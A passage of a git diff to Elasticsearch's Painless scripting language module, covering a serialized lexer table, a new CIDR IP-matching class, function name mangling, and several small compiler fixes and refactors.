"\2\2\u019a\u019b\7,\2\2\u019b\u019c\7?\2\2\u019c\u0081\3\2\2\2\u019d\u019e"+ + "\7\61\2\2\u019e\u019f\7?\2\2\u019f\u0083\3\2\2\2\u01a0\u01a1\7\'\2\2\u01a1"+ + "\u01a2\7?\2\2\u01a2\u0085\3\2\2\2\u01a3\u01a4\7(\2\2\u01a4\u01a5\7?\2"+ + "\2\u01a5\u0087\3\2\2\2\u01a6\u01a7\7`\2\2\u01a7\u01a8\7?\2\2\u01a8\u0089"+ + "\3\2\2\2\u01a9\u01aa\7~\2\2\u01aa\u01ab\7?\2\2\u01ab\u008b\3\2\2\2\u01ac"+ + "\u01ad\7>\2\2\u01ad\u01ae\7>\2\2\u01ae\u01af\7?\2\2\u01af\u008d\3\2\2"+ + "\2\u01b0\u01b1\7@\2\2\u01b1\u01b2\7@\2\2\u01b2\u01b3\7?\2\2\u01b3\u008f"+ + "\3\2\2\2\u01b4\u01b5\7@\2\2\u01b5\u01b6\7@\2\2\u01b6\u01b7\7@\2\2\u01b7"+ + "\u01b8\7?\2\2\u01b8\u0091\3\2\2\2\u01b9\u01bb\7\62\2\2\u01ba\u01bc\t\4"+ + "\2\2\u01bb\u01ba\3\2\2\2\u01bc\u01bd\3\2\2\2\u01bd\u01bb\3\2\2\2\u01bd"+ + "\u01be\3\2\2\2\u01be\u01c0\3\2\2\2\u01bf\u01c1\t\5\2\2\u01c0\u01bf\3\2"+ + "\2\2\u01c0\u01c1\3\2\2\2\u01c1\u0093\3\2\2\2\u01c2\u01c3\7\62\2\2\u01c3"+ + "\u01c5\t\6\2\2\u01c4\u01c6\t\7\2\2\u01c5\u01c4\3\2\2\2\u01c6\u01c7\3\2"+ + "\2\2\u01c7\u01c5\3\2\2\2\u01c7\u01c8\3\2\2\2\u01c8\u01ca\3\2\2\2\u01c9"+ + "\u01cb\t\5\2\2\u01ca\u01c9\3\2\2\2\u01ca\u01cb\3\2\2\2\u01cb\u0095\3\2"+ + "\2\2\u01cc\u01d5\7\62\2\2\u01cd\u01d1\t\b\2\2\u01ce\u01d0\t\t\2\2\u01cf"+ + "\u01ce\3\2\2\2\u01d0\u01d3\3\2\2\2\u01d1\u01cf\3\2\2\2\u01d1\u01d2\3\2"+ + "\2\2\u01d2\u01d5\3\2\2\2\u01d3\u01d1\3\2\2\2\u01d4\u01cc\3\2\2\2\u01d4"+ + "\u01cd\3\2\2\2\u01d5\u01d7\3\2\2\2\u01d6\u01d8\t\n\2\2\u01d7\u01d6\3\2"+ + "\2\2\u01d7\u01d8\3\2\2\2\u01d8\u0097\3\2\2\2\u01d9\u01e2\7\62\2\2\u01da"+ + "\u01de\t\b\2\2\u01db\u01dd\t\t\2\2\u01dc\u01db\3\2\2\2\u01dd\u01e0\3\2"+ + "\2\2\u01de\u01dc\3\2\2\2\u01de\u01df\3\2\2\2\u01df\u01e2\3\2\2\2\u01e0"+ + "\u01de\3\2\2\2\u01e1\u01d9\3\2\2\2\u01e1\u01da\3\2\2\2\u01e2\u01e9\3\2"+ + "\2\2\u01e3\u01e5\5\24\n\2\u01e4\u01e6\t\t\2\2\u01e5\u01e4\3\2\2\2\u01e6"+ + "\u01e7\3\2\2\2\u01e7\u01e5\3\2\2\2\u01e7\u01e8\3\2\2\2\u01e8\u01ea\3\2"+ + "\2\2\u01e9\u01e3\3\2\2\2\u01e9\u01ea\3\2\2\2\u01ea\u01f4\3\2\2\2\u01eb"+ + "\u01ed\t\13\2\2\u01ec\u01ee\t\f\2\2\u01ed\u01ec\3\2\2\2\u01ed\u01ee\3"+ + "\2\2\2\u01ee\u01f0\3\2\2\2\u01ef\u01f1\t\t\2\2\u01f0\u01ef\3\2\2\2\u01f1"+ + "\u01f2\3\2\2\2\u01f2\u01f0\3\2\2\2\u01f2\u01f3\3\2\2\2\u01f3\u01f5\3\2"+ + "\2\2\u01f4\u01eb\3\2\2\2\u01f4\u01f5\3\2\2\2\u01f5\u01f7\3\2\2\2\u01f6"+ + "\u01f8\t\r\2\2\u01f7\u01f6\3\2\2\2\u01f7\u01f8\3\2\2\2\u01f8\u0099\3\2"+ + "\2\2\u01f9\u0201\7$\2\2\u01fa\u01fb\7^\2\2\u01fb\u0200\7$\2\2\u01fc\u01fd"+ + "\7^\2\2\u01fd\u0200\7^\2\2\u01fe\u0200\n\16\2\2\u01ff\u01fa\3\2\2\2\u01ff"+ + "\u01fc\3\2\2\2\u01ff\u01fe\3\2\2\2\u0200\u0203\3\2\2\2\u0201\u0202\3\2"+ + "\2\2\u0201\u01ff\3\2\2\2\u0202\u0204\3\2\2\2\u0203\u0201\3\2\2\2\u0204"+ + "\u0212\7$\2\2\u0205\u020d\7)\2\2\u0206\u0207\7^\2\2\u0207\u020c\7)\2\2"+ + "\u0208\u0209\7^\2\2\u0209\u020c\7^\2\2\u020a\u020c\n\17\2\2\u020b\u0206"+ + "\3\2\2\2\u020b\u0208\3\2\2\2\u020b\u020a\3\2\2\2\u020c\u020f\3\2\2\2\u020d"+ + "\u020e\3\2\2\2\u020d\u020b\3\2\2\2\u020e\u0210\3\2\2\2\u020f\u020d\3\2"+ + "\2\2\u0210\u0212\7)\2\2\u0211\u01f9\3\2\2\2\u0211\u0205\3\2\2\2\u0212"+ + "\u009b\3\2\2\2\u0213\u0217\7\61\2\2\u0214\u0215\7^\2\2\u0215\u0218\n\20"+ + "\2\2\u0216\u0218\n\21\2\2\u0217\u0214\3\2\2\2\u0217\u0216\3\2\2\2\u0218"+ + "\u0219\3\2\2\2\u0219\u021a\3\2\2\2\u0219\u0217\3\2\2\2\u021a\u021b\3\2"+ + "\2\2\u021b\u021f\7\61\2\2\u021c\u021e\t\22\2\2\u021d\u021c\3\2\2\2\u021e"+ + "\u0221\3\2\2\2\u021f\u021d\3\2\2\2\u021f\u0220\3\2\2\2\u0220\u0222\3\2"+ + "\2\2\u0221\u021f\3\2\2\2\u0222\u0223\6N\3\2\u0223\u009d\3\2\2\2\u0224"+ + "\u0225\7v\2\2\u0225\u0226\7t\2\2\u0226\u0227\7w\2\2\u0227\u0228\7g\2\2"+ + "\u0228\u009f\3\2\2\2\u0229\u022a\7h\2\2\u022a\u022b\7c\2\2\u022b\u022c"+ + "\7n\2\2\u022c\u022d\7u\2\2\u022d\u022e\7g\2\2\u022e\u00a1\3\2\2\2\u022f"+ + "\u0230\7p\2\2\u0230\u0231\7w\2\2\u0231\u0232\7n\2\2\u0232\u0233\7n\2\2"+ + "\u0233\u00a3\3\2\2\2\u0234\u0238\5\u00a6S\2\u0235\u0236\5\f\6\2\u0236"+ + "\u0237\5\16\7\2\u0237\u0239\3\2\2\2\u0238\u0235\3\2\2\2\u0239\u023a\3"+ + "\2\2\2\u023a\u0238\3\2\2\2\u023a\u023b\3\2\2\2\u023b\u00a5\3\2\2\2\u023c"+ + "\u0242\5\u00a8T\2\u023d\u023e\5\24\n\2\u023e\u023f\5\u00a8T\2\u023f\u0241"+ + "\3\2\2\2\u0240\u023d\3\2\2\2\u0241\u0244\3\2\2\2\u0242\u0240\3\2\2\2\u0242"+ + "\u0243\3\2\2\2\u0243\u0245\3\2\2\2\u0244\u0242\3\2\2\2\u0245\u0246\6S"+ + "\4\2\u0246\u00a7\3\2\2\2\u0247\u024b\t\23\2\2\u0248\u024a\t\24\2\2\u0249"+ + "\u0248\3\2\2\2\u024a\u024d\3\2\2\2\u024b\u0249\3\2\2\2\u024b\u024c\3\2"+ + "\2\2\u024c\u00a9\3\2\2\2\u024d\u024b\3\2\2\2\u024e\u024f\13\2\2\2\u024f"+ + "\u0250\3\2\2\2\u0250\u0251\bU\2\2\u0251\u00ab\3\2\2\2\u0252\u025b\7\62"+ + "\2\2\u0253\u0257\t\b\2\2\u0254\u0256\t\t\2\2\u0255\u0254\3\2\2\2\u0256"+ + "\u0259\3\2\2\2\u0257\u0255\3\2\2\2\u0257\u0258\3\2\2\2\u0258\u025b\3\2"+ + "\2\2\u0259\u0257\3\2\2\2\u025a\u0252\3\2\2\2\u025a\u0253\3\2\2\2\u025b"+ + "\u025c\3\2\2\2\u025c\u025d\bV\4\2\u025d\u00ad\3\2\2\2\u025e\u0262\t\23"+ + "\2\2\u025f\u0261\t\24\2\2\u0260\u025f\3\2\2\2\u0261\u0264\3\2\2\2\u0262"+ + "\u0260\3\2\2\2\u0262\u0263\3\2\2\2\u0263\u0265\3\2\2\2\u0264\u0262\3\2"+ + "\2\2\u0265\u0266\bW\4\2\u0266\u00af\3\2\2\2%\2\3\u00b3\u00bd\u00c7\u00cc"+ + "\u01bd\u01c0\u01c7\u01ca\u01d1\u01d4\u01d7\u01de\u01e1\u01e7\u01e9\u01ed"+ + "\u01f2\u01f4\u01f7\u01ff\u0201\u020b\u020d\u0211\u0217\u0219\u021f\u023a"+ + "\u0242\u024b\u0257\u025a\u0262\5\b\2\2\4\3\2\4\2\2"; + public static final ATN _ATN = + new ATNDeserializer().deserialize(_serializedATN.toCharArray()); + static { + _decisionToDFA = new DFA[_ATN.getNumberOfDecisions()]; + for (int i = 0; i < _ATN.getNumberOfDecisions(); i++) { + _decisionToDFA[i] = new DFA(_ATN.getDecisionState(i), i); + } + } +} diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/api/CIDR.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/api/CIDR.java new file mode 100644 index 0000000000000..8c0fef942428a --- /dev/null +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/api/CIDR.java @@ -0,0 +1,98 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless.api; + +import org.elasticsearch.common.collect.Tuple; +import org.elasticsearch.common.network.InetAddresses; + +import java.net.InetAddress; +import java.util.Arrays; + +/** + * The intent of this class is to provide a more efficient way of matching multiple IP addresses against a single CIDR. + * The logic comes from CIDRUtils. + * @see org.elasticsearch.common.network.CIDRUtils + */ +public class CIDR { + private final byte[] lower; + private final byte[] upper; + + /** + * @param cidr an IPv4 or IPv6 address, which may or may not contain a suffix. + */ + public CIDR(String cidr) { + if (cidr.contains("/")) { + final Tuple range = getLowerUpper(InetAddresses.parseCidr(cidr)); + lower = range.v1(); + upper = range.v2(); + } else { + lower = InetAddresses.forString(cidr).getAddress(); + upper = lower; + } + } + + /** + * Checks if a given IP address belongs to the range of the CIDR object. + * @param addressToCheck an IPv4 or IPv6 address without a suffix. + * @return whether the IP is in the object's range or not. + */ + public boolean contains(String addressToCheck) { + if (addressToCheck == null || "".equals(addressToCheck)) { + return false; + } + + byte[] parsedAddress = InetAddresses.forString(addressToCheck).getAddress(); + return isBetween(parsedAddress, lower, upper); + } + + private static Tuple getLowerUpper(Tuple cidr) { + final InetAddress value = cidr.v1(); + final Integer prefixLength = cidr.v2(); + + if (prefixLength < 0 || prefixLength > 8 * value.getAddress().length) { + throw new IllegalArgumentException("illegal prefixLength '" + prefixLength + + "'. Must be 0-32 for IPv4 ranges, 0-128 for IPv6 ranges"); + } + + byte[] lower = value.getAddress(); + byte[] upper = value.getAddress(); + // Borrowed from Lucene + for (int i = prefixLength; i < 8 * lower.length; i++) { + int m = 1 << (7 - (i & 7)); + lower[i >> 3] &= ~m; + upper[i >> 3] |= m; + } + return new Tuple<>(lower, upper); + } + + private static boolean isBetween(byte[] addr, byte[] lower, byte[] upper) { + if (addr.length != lower.length) { + addr = encode(addr); + lower = encode(lower); + upper = encode(upper); + } + return Arrays.compareUnsigned(lower, addr) <= 0 && + Arrays.compareUnsigned(upper, addr) >= 0; + } + + // Borrowed from Lucene to make this consistent IP fields matching for the mix of IPv4 and IPv6 values + // Modified signature to avoid extra conversions + private static byte[] encode(byte[] address) { + final byte[] IPV4_PREFIX = new byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1}; + if (address.length == 4) { + byte[] mapped = new byte[16]; + System.arraycopy(IPV4_PREFIX, 0, mapped, 0, IPV4_PREFIX.length); + System.arraycopy(address, 0, mapped, IPV4_PREFIX.length, address.length); + address = mapped; + } else if (address.length != 16) { + throw new UnsupportedOperationException("Only IPv4 and IPv6 addresses are supported"); + } + return address; + } +} diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/node/ENewArrayFunctionRef.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/node/ENewArrayFunctionRef.java index 3b0b328a210aa..4092afe54b1fb 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/node/ENewArrayFunctionRef.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/node/ENewArrayFunctionRef.java @@ -14,7 +14,7 @@ import java.util.Objects; /** - * Represents a function reference. + * Represents a function reference for creating a new array (eg Double[]::new) */ public class ENewArrayFunctionRef extends AExpression { diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultIRTreeToASMBytesPhase.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultIRTreeToASMBytesPhase.java index 918e643a55900..e6332e0e700e4 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultIRTreeToASMBytesPhase.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultIRTreeToASMBytesPhase.java @@ -98,7 +98,6 @@ import org.elasticsearch.painless.symbol.IRDecorations.IRCAllEscape; import org.elasticsearch.painless.symbol.IRDecorations.IRCContinuous; import org.elasticsearch.painless.symbol.IRDecorations.IRCInitialize; -import org.elasticsearch.painless.symbol.IRDecorations.IRCRead; import org.elasticsearch.painless.symbol.IRDecorations.IRCStatic; import org.elasticsearch.painless.symbol.IRDecorations.IRCSynthetic; import org.elasticsearch.painless.symbol.IRDecorations.IRCVarArgs; @@ -524,12 +523,6 @@ public void visitForEachSubArrayLoop(ForEachSubArrayNode irForEachSubArrayNode, methodWriter.writeCast(irForEachSubArrayNode.getDecorationValue(IRDCast.class)); methodWriter.visitVarInsn(variable.getAsmType().getOpcode(Opcodes.ISTORE), variable.getSlot()); - Variable loop = writeScope.getInternalVariable("loop"); - - if (loop != null) { - methodWriter.writeLoopCounter(loop.getSlot(), irForEachSubArrayNode.getLocation()); - } - visit(irForEachSubArrayNode.getBlockNode(), writeScope.newLoopScope(begin, end)); methodWriter.goTo(begin); @@ -575,12 +568,6 @@ public void visitForEachSubIterableLoop(ForEachSubIterableNode irForEachSubItera methodWriter.writeCast(irForEachSubIterableNode.getDecorationValue(IRDCast.class)); methodWriter.visitVarInsn(variable.getAsmType().getOpcode(Opcodes.ISTORE), variable.getSlot()); - Variable loop = writeScope.getInternalVariable("loop"); - - if (loop != null) { - methodWriter.writeLoopCounter(loop.getSlot(), irForEachSubIterableNode.getLocation()); - } - visit(irForEachSubIterableNode.getBlockNode(), writeScope.newLoopScope(begin, end)); methodWriter.goTo(begin); methodWriter.mark(end); @@ -1181,9 +1168,8 @@ public void visitNewObject(NewObjectNode irNewObjectNode, WriteScope writeScope) methodWriter.newInstance(MethodWriter.getType(irNewObjectNode.getDecorationValue(IRDExpressionType.class))); - if (irNewObjectNode.hasCondition(IRCRead.class)) { - methodWriter.dup(); - } + // Always dup so that visitStatementExpression's always has something to pop + methodWriter.dup(); for (ExpressionNode irArgumentNode : irNewObjectNode.getArgumentNodes()) { visit(irArgumentNode, writeScope); diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultSemanticAnalysisPhase.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultSemanticAnalysisPhase.java index 170f1db65ab7a..242fcf7e77a8d 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultSemanticAnalysisPhase.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultSemanticAnalysisPhase.java @@ -2538,7 +2538,7 @@ public void visitDot(EDot userDotNode, SemanticScope semanticScope) { "set" + Character.toUpperCase(index.charAt(0)) + index.substring(1), 0); if (getter != null || setter != null) { - if (getter != null && (getter.returnType == void.class || !getter.typeParameters.isEmpty())) { + if (getter != null && (getter.returnType == void.class || getter.typeParameters.isEmpty() == false)) { throw userDotNode.createError(new IllegalArgumentException( "Illegal get shortcut on field [" + index + "] for type [" + prefixCanonicalTypeName + "].")); } @@ -2584,7 +2584,7 @@ public void visitDot(EDot userDotNode, SemanticScope semanticScope) { } if (getter != null && setter != null && - (!getter.typeParameters.get(0).equals(setter.typeParameters.get(0)) || + (getter.typeParameters.get(0).equals(setter.typeParameters.get(0)) == false || getter.returnType.equals(setter.typeParameters.get(1)) == false)) { throw userDotNode.createError(new IllegalArgumentException("Shortcut argument types must match.")); } @@ -2628,8 +2628,9 @@ public void visitDot(EDot userDotNode, SemanticScope semanticScope) { "Illegal list set shortcut for type [" + prefixCanonicalTypeName + "].")); } - if (getter != null && setter != null && (!getter.typeParameters.get(0).equals(setter.typeParameters.get(0)) - || !getter.returnType.equals(setter.typeParameters.get(1)))) { + if (getter != null && setter != null && + (getter.typeParameters.get(0).equals(setter.typeParameters.get(0)) == false + || getter.returnType.equals(setter.typeParameters.get(1)) == false)) { throw userDotNode.createError(new IllegalArgumentException("Shortcut argument types must match.")); } @@ -2745,7 +2746,7 @@ public void visitBrace(EBrace userBraceNode, SemanticScope semanticScope) { "Illegal map set shortcut for type [" + canonicalClassName + "].")); } - if (getter != null && setter != null && (!getter.typeParameters.get(0).equals(setter.typeParameters.get(0)) || + if (getter != null && setter != null && (getter.typeParameters.get(0).equals(setter.typeParameters.get(0)) == false || getter.returnType.equals(setter.typeParameters.get(1)) == false)) { throw userBraceNode.createError(new IllegalArgumentException("Shortcut argument types must match.")); } @@ -2791,8 +2792,8 @@ public void visitBrace(EBrace userBraceNode, SemanticScope semanticScope) { "Illegal list set shortcut for type [" + canonicalClassName + "].")); } - if (getter != null && setter != null && (!getter.typeParameters.get(0).equals(setter.typeParameters.get(0)) - || !getter.returnType.equals(setter.typeParameters.get(1)))) { + if (getter != null && setter != null && (getter.typeParameters.get(0).equals(setter.typeParameters.get(0)) == false + || getter.returnType.equals(setter.typeParameters.get(1)) == false)) { throw userBraceNode.createError(new IllegalArgumentException("Shortcut argument types must match.")); } diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultSemanticHeaderPhase.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultSemanticHeaderPhase.java index cca20305b3227..337af7f42d45c 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultSemanticHeaderPhase.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultSemanticHeaderPhase.java @@ -69,6 +69,7 @@ public void visitFunction(SFunction userFunctionNode, ScriptScope scriptScope) { typeParameters.add(paramType); } - functionTable.addFunction(functionName, returnType, typeParameters, userFunctionNode.isInternal(), userFunctionNode.isStatic()); + functionTable.addMangledFunction(functionName, returnType, typeParameters, userFunctionNode.isInternal(), + userFunctionNode.isStatic()); } } diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultUserTreeToIRTreePhase.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultUserTreeToIRTreePhase.java index 973e269c9014f..c511932a59c97 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultUserTreeToIRTreePhase.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/DefaultUserTreeToIRTreePhase.java @@ -608,7 +608,11 @@ public void visitFunction(SFunction userFunctionNode, ScriptScope scriptScope) { FunctionNode irFunctionNode = new FunctionNode(userFunctionNode.getLocation()); irFunctionNode.setBlockNode(irBlockNode); - irFunctionNode.attachDecoration(new IRDName(userFunctionNode.getFunctionName())); + String mangledName = scriptScope.getFunctionTable().getFunction( + userFunctionNode.getFunctionName(), + userFunctionNode.getCanonicalTypeNameParameters().size() + ).getMangledName(); + irFunctionNode.attachDecoration(new IRDName(mangledName)); irFunctionNode.attachDecoration(new IRDReturnType(returnType)); irFunctionNode.attachDecoration(new IRDTypeParameters(new ArrayList<>(localFunction.getTypeParameters()))); irFunctionNode.attachDecoration(new IRDParameterNames(new ArrayList<>(userFunctionNode.getParameterNames()))); diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/PainlessUserTreeToIRTreePhase.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/PainlessUserTreeToIRTreePhase.java index c9321815cf9b6..277300cb22033 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/PainlessUserTreeToIRTreePhase.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/PainlessUserTreeToIRTreePhase.java @@ -330,7 +330,7 @@ protected void injectNeedsMethods(ScriptScope scriptScope) { // throw this.convertToScriptException(e, e.getHeaders($DEFINITION)) // } // and - // } catch (PainlessError | BootstrapMethodError | OutOfMemoryError | StackOverflowError | Exception e) { + // } catch (PainlessError | LinkageError | OutOfMemoryError | StackOverflowError | Exception e) { // throw this.convertToScriptException(e, e.getHeaders()) // } protected void injectSandboxExceptions(FunctionNode irFunctionNode) { @@ -414,7 +414,7 @@ protected void injectSandboxExceptions(FunctionNode irFunctionNode) { irInvokeCallNode.addArgumentNode(irLoadFieldMemberNode); for (Class throwable : new Class[] { - PainlessError.class, BootstrapMethodError.class, OutOfMemoryError.class, StackOverflowError.class, Exception.class}) { + PainlessError.class, LinkageError.class, OutOfMemoryError.class, StackOverflowError.class, Exception.class}) { String name = throwable.getSimpleName(); name = "#" + Character.toLowerCase(name.charAt(0)) + name.substring(1); diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/UserTreeBaseVisitor.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/UserTreeBaseVisitor.java index 6edbd57e690be..7917b106c4202 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/UserTreeBaseVisitor.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/phase/UserTreeBaseVisitor.java @@ -62,8 +62,8 @@ public void visitClass(SClass userClassNode, Scope scope) { } @Override - public void visitFunction(SFunction userClassNode, Scope scope) { - userClassNode.visitChildren(this, scope); + public void visitFunction(SFunction userFunctionNode, Scope scope) { + userFunctionNode.visitChildren(this, scope); } @Override diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/Decorator.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/Decorator.java index 40fff066ace48..5f9d9da1c4bf6 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/Decorator.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/Decorator.java @@ -87,4 +87,12 @@ public boolean replicate(int originalIdentifier, int targetIdentifier, Class, Decoration> getAllDecorations(int identifier) { + return decorations.get(identifier); + } + + public Set> getAllConditions(int identifier) { + return conditions.get(identifier); + } } diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/FunctionTable.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/FunctionTable.java index e68073ca0315f..baea496e72aaf 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/FunctionTable.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/FunctionTable.java @@ -25,9 +25,12 @@ */ public class FunctionTable { + private static final String MANGLED_FUNCTION_NAME_PREFIX = "&"; + public static class LocalFunction { protected final String functionName; + protected final String mangledName; protected final Class returnType; protected final List> typeParameters; protected final boolean isInternal; @@ -38,8 +41,14 @@ public static class LocalFunction { public LocalFunction( String functionName, Class returnType, List> typeParameters, boolean isInternal, boolean isStatic) { + this(functionName, "", returnType, typeParameters, isInternal, isStatic); + } + + private LocalFunction(String functionName, String mangle, + Class returnType, List> typeParameters, boolean isInternal, boolean isStatic) { this.functionName = Objects.requireNonNull(functionName); + this.mangledName = Objects.requireNonNull(mangle) + this.functionName; this.returnType = Objects.requireNonNull(returnType); this.typeParameters = Collections.unmodifiableList(Objects.requireNonNull(typeParameters)); this.isInternal = isInternal; @@ -49,12 +58,12 @@ public LocalFunction( Class[] javaTypeParameters = typeParameters.stream().map(PainlessLookupUtility::typeToJavaType).toArray(Class[]::new); this.methodType = MethodType.methodType(javaReturnType, javaTypeParameters); - this.asmMethod = new org.objectweb.asm.commons.Method(functionName, + this.asmMethod = new org.objectweb.asm.commons.Method(mangledName, MethodType.methodType(javaReturnType, javaTypeParameters).toMethodDescriptorString()); } - public String getFunctionName() { - return functionName; + public String getMangledName() { + return mangledName; } public Class getReturnType() { @@ -103,8 +112,11 @@ public LocalFunction addFunction( return function; } - public LocalFunction addFunction(LocalFunction function) { - String functionKey = buildLocalFunctionKey(function.getFunctionName(), function.getTypeParameters().size()); + public LocalFunction addMangledFunction(String functionName, + Class returnType, List> typeParameters, boolean isInternal, boolean isStatic) { + String functionKey = buildLocalFunctionKey(functionName, typeParameters.size()); + LocalFunction function = + new LocalFunction(functionName, MANGLED_FUNCTION_NAME_PREFIX, returnType, typeParameters, isInternal, isStatic); localFunctions.put(functionKey, function); return function; } diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/ScriptScope.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/ScriptScope.java index 3ff04105feb6f..ab65bfb2121e2 100644 --- a/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/ScriptScope.java +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/symbol/ScriptScope.java @@ -49,7 +49,7 @@ public ScriptScope(PainlessLookup painlessLookup, CompilerSettings compilerSetti this.compilerSettings = Objects.requireNonNull(compilerSettings); this.scriptClassInfo = Objects.requireNonNull(scriptClassInfo); this.scriptName = Objects.requireNonNull(scriptName); - this.scriptSource = Objects.requireNonNull(scriptName); + this.scriptSource = Objects.requireNonNull(scriptSource); staticConstants.put("$NAME", scriptName); staticConstants.put("$SOURCE", scriptSource); diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/toxcontent/DecorationToXContent.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/toxcontent/DecorationToXContent.java new file mode 100644 index 0000000000000..4f4a2766da9f5 --- /dev/null +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/toxcontent/DecorationToXContent.java @@ -0,0 +1,648 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless.toxcontent; + +import org.elasticsearch.painless.FunctionRef; +import org.elasticsearch.painless.lookup.PainlessCast; +import org.elasticsearch.painless.lookup.PainlessClassBinding; +import org.elasticsearch.painless.lookup.PainlessConstructor; +import org.elasticsearch.painless.lookup.PainlessField; +import org.elasticsearch.painless.lookup.PainlessInstanceBinding; +import org.elasticsearch.painless.lookup.PainlessMethod; +import org.elasticsearch.painless.spi.annotation.CompileTimeOnlyAnnotation; +import org.elasticsearch.painless.spi.annotation.DeprecatedAnnotation; +import org.elasticsearch.painless.spi.annotation.InjectConstantAnnotation; +import org.elasticsearch.painless.spi.annotation.NoImportAnnotation; +import org.elasticsearch.painless.spi.annotation.NonDeterministicAnnotation; +import org.elasticsearch.painless.symbol.Decorator.Decoration; +import org.elasticsearch.painless.symbol.Decorations.TargetType; +import org.elasticsearch.painless.symbol.Decorations.ValueType; +import org.elasticsearch.painless.symbol.Decorations.StaticType; +import org.elasticsearch.painless.symbol.Decorations.PartialCanonicalTypeName; +import org.elasticsearch.painless.symbol.Decorations.ExpressionPainlessCast; +import org.elasticsearch.painless.symbol.Decorations.SemanticVariable; +import org.elasticsearch.painless.symbol.Decorations.IterablePainlessMethod; +import org.elasticsearch.painless.symbol.Decorations.UnaryType; +import org.elasticsearch.painless.symbol.Decorations.BinaryType; +import org.elasticsearch.painless.symbol.Decorations.ShiftType; +import org.elasticsearch.painless.symbol.Decorations.ComparisonType; +import org.elasticsearch.painless.symbol.Decorations.CompoundType; +import org.elasticsearch.painless.symbol.Decorations.UpcastPainlessCast; +import org.elasticsearch.painless.symbol.Decorations.DowncastPainlessCast; +import org.elasticsearch.painless.symbol.Decorations.StandardPainlessField; +import org.elasticsearch.painless.symbol.Decorations.StandardPainlessConstructor; +import org.elasticsearch.painless.symbol.Decorations.StandardPainlessMethod; +import org.elasticsearch.painless.symbol.Decorations.GetterPainlessMethod; +import org.elasticsearch.painless.symbol.Decorations.SetterPainlessMethod; +import org.elasticsearch.painless.symbol.Decorations.StandardConstant; +import org.elasticsearch.painless.symbol.Decorations.StandardLocalFunction; +import org.elasticsearch.painless.symbol.Decorations.StandardPainlessClassBinding; +import org.elasticsearch.painless.symbol.Decorations.StandardPainlessInstanceBinding; +import org.elasticsearch.painless.symbol.Decorations.MethodNameDecoration; +import org.elasticsearch.painless.symbol.Decorations.ReturnType; +import org.elasticsearch.painless.symbol.Decorations.TypeParameters; +import org.elasticsearch.painless.symbol.Decorations.ParameterNames; +import org.elasticsearch.painless.symbol.Decorations.ReferenceDecoration; +import org.elasticsearch.painless.symbol.Decorations.EncodingDecoration; +import org.elasticsearch.painless.symbol.Decorations.CapturesDecoration; +import org.elasticsearch.painless.symbol.Decorations.InstanceType; +import org.elasticsearch.painless.symbol.Decorations.AccessDepth; +import org.elasticsearch.painless.symbol.Decorations.IRNodeDecoration; +import org.elasticsearch.painless.symbol.Decorations.Converter; +import org.elasticsearch.painless.symbol.FunctionTable; +import org.elasticsearch.painless.symbol.SemanticScope; +import org.objectweb.asm.Type; + +import java.lang.invoke.MethodType; +import 